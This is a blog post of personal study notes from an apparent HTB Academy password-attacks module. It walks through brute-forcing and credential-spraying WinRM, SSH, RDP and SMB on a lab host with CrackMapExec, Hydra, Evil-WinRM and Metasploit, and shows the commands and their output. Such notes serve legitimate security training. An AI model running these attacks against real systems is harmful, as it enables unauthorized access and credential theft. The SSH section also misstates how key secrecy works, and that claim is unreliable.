[HTB Academy] Password Attacks Notes (2)

2025. 2. 12. 00:34·Study Record/Cybersecurity
목차
  1. 1. Network Services
  2. 1) WinRM (Windows Remote Management)
  3. 2) Remote Desktop Protocol (RDP)
  4. 3) SMB (Server Message Block)

1. Network Services

1) WinRM (Windows Remote Management)

- It is the Microsoft implementation of the network protocol WS-Management.

- It is a network protocol based on XML web services using the SOAP used for remote management of Window systems.

- It must be activated and configured manually in Windows 10.

- TCP ports 5985 (HTTP) and 5986 (HTTPS)

 

(1) CrackMapExec

- A handy tool that we can use for our password attacks.

- It currently supports remote authentication using MSSQL, SMB, SSH, and WinRM.

yeon0815@htb[/htb]$ sudo apt-get -y install crackmapexec

- Alternatively, we can install NetExec to follow along

 

yeon0815@htb[/htb]$ crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
yeon0815@htb[/htb]$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list

WINRM       10.129.42.197   5985   NONE             [*] None (name:10.129.42.197) (domain:None)
WINRM       10.129.42.197   5985   NONE             [*] http://10.129.42.197:5985/wsman
WINRM       10.129.42.197   5985   NONE             [+] None\user:password (Pwn3d!)

 

(2) Evil-WinRM

- It allows us to communicate with the WinRM service.

yeon0815@htb[/htb]$ sudo gem install evil-winrm

Fetching little-plugger-1.1.4.gem
Fetching rubyntlm-0.6.3.gem
Fetching builder-3.2.4.gem
Fetching logging-2.3.0.gem
Fetching gyoku-1.3.1.gem
Fetching nori-2.6.0.gem
Fetching gssapi-1.3.1.gem
Fetching erubi-1.10.0.gem
Fetching evil-winrm-3.3.gem
Fetching winrm-2.3.6.gem
Fetching winrm-fs-1.3.5.gem
Happy hacking! :)
yeon0815@htb[/htb]$ evil-winrm -i <target-IP> -u <username> -p <password>
yeon0815@htb[/htb]$ evil-winrm -i 10.129.42.197 -u user -p password

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\user\Documents>

 

(3) SSH

- It is a more secure way to connect to a remote host to execute system commands or transfer files from a host to a server.

- It uses 3 different cryptography operations

a. Symmetric Encryption: uses the same key for encryption and decryption. A key exchange procedure is needed for secure symmetric encryption. The Diffie-Hellman key exchange method is used for this purpose. If a third party obtains the key, it cannot decrypt the messages because the key exchange method is unknown.

b. Asymmetrical Encryption: uses 2 keys, a private key and a public key. The private key must remain secret because only it can decrypt the messages that have been encrypted with the public key. If an attacker obtains the private key, which is often not password protected, he will be able to log in to the system without credentials.

c. Hashing: converts the transmitted data into another unique value. This is a mathematical algorithm that only works in one direction.

 

d. Hydra-SSH

- We can use a tool such as Hydra to brute force SSH. 

yeon0815@htb[/htb]$ hydra -L user.list -P password.list ssh://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found

 

2) Remote Desktop Protocol (RDP)

- It is a network protocol that allows remote access to Windows systems via TCP port 3389 by default.

- Technically, the RDP is an application layer protocol in the IP stack and can use TCP and UDP for data transmission.

 

(1) Hydra-RDP

yeon0815@htb[/htb]$ hydra -L user.list -P password.list rdp://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found

 

3) SMB (Server Message Block)

- It is a protocol responsible for transferring data btw a client and a server in local area networks.

- It can be compared to NFS for Unix and Linux for providing drives on local networks.

 

(1) Hydra-SMB

yeon0815@htb[/htb]$ hydra -L user.list -P password.list smb://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid passwords found

 

(2) msfconsole-SMB

yeon0815@htb[/htb]$ msfconsole -q

msf6 > use auxiliary/scanner/smb/smb_login

 

(3) CrackMapExec

yeon0815@htb[/htb]$ crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares

SMB         10.129.42.197   445    WINSRV           [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB         10.129.42.197   445    WINSRV           [+] WINSRV\user:password 
SMB         10.129.42.197   445    WINSRV           [+] Enumerated shares
SMB         10.129.42.197   445    WINSRV           Share           Permissions     Remark
SMB         10.129.42.197   445    WINSRV           -----           -----------     ------
SMB         10.129.42.197   445    WINSRV           ADMIN$                          Remote Admin
SMB         10.129.42.197   445    WINSRV           C$                              Default share
SMB         10.129.42.197   445    WINSRV           SHARENAME       READ,WRITE      
SMB         10.129.42.197   445    WINSRV           IPC$            READ            Remote IPC
  1. 1. Network Services
  2. 1) WinRM (Windows Remote Management)
  3. 2) Remote Desktop Protocol (RDP)
  4. 3) SMB (Server Message Block)
'Study Record/Cybersecurity' 카테고리의 다른 글
  • [HTB Academy] Password Attacks Notes (4)
  • [HTB academy] Password Attacks Notes (3)
  • [HTB Academy] Password Attacks Notes (1)
  • [HTB Academy] Using the Metasploit Framework Notes (6)
Sungyeon Kim
Sungyeon Kim
goldstaryeon@sookmyung.ac.kr
Sungyeon Kim
Sungyeon Kim
Sungyeon Kim
전체
오늘
어제
  • 분류 전체보기 (608) N
    • Paper Review (30)
    • Research Record (9)
    • Study Record (143)
      • Cybersecurity (79)
      • AI Data Science (28)
      • Computer Science (24)
      • Linear Algebra (6)
      • SQL (5)
      • LaTeX (1)
    • English Transcription (256)
    • 한글 필사 (94) N
    • 날것 그대로의 생각들 (72)

인기 글

최근 댓글

최근 글

hELLO· Designed By정상우.v4.5.3
Sungyeon Kim
[HTB Academy] Password Attacks Notes (2)
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.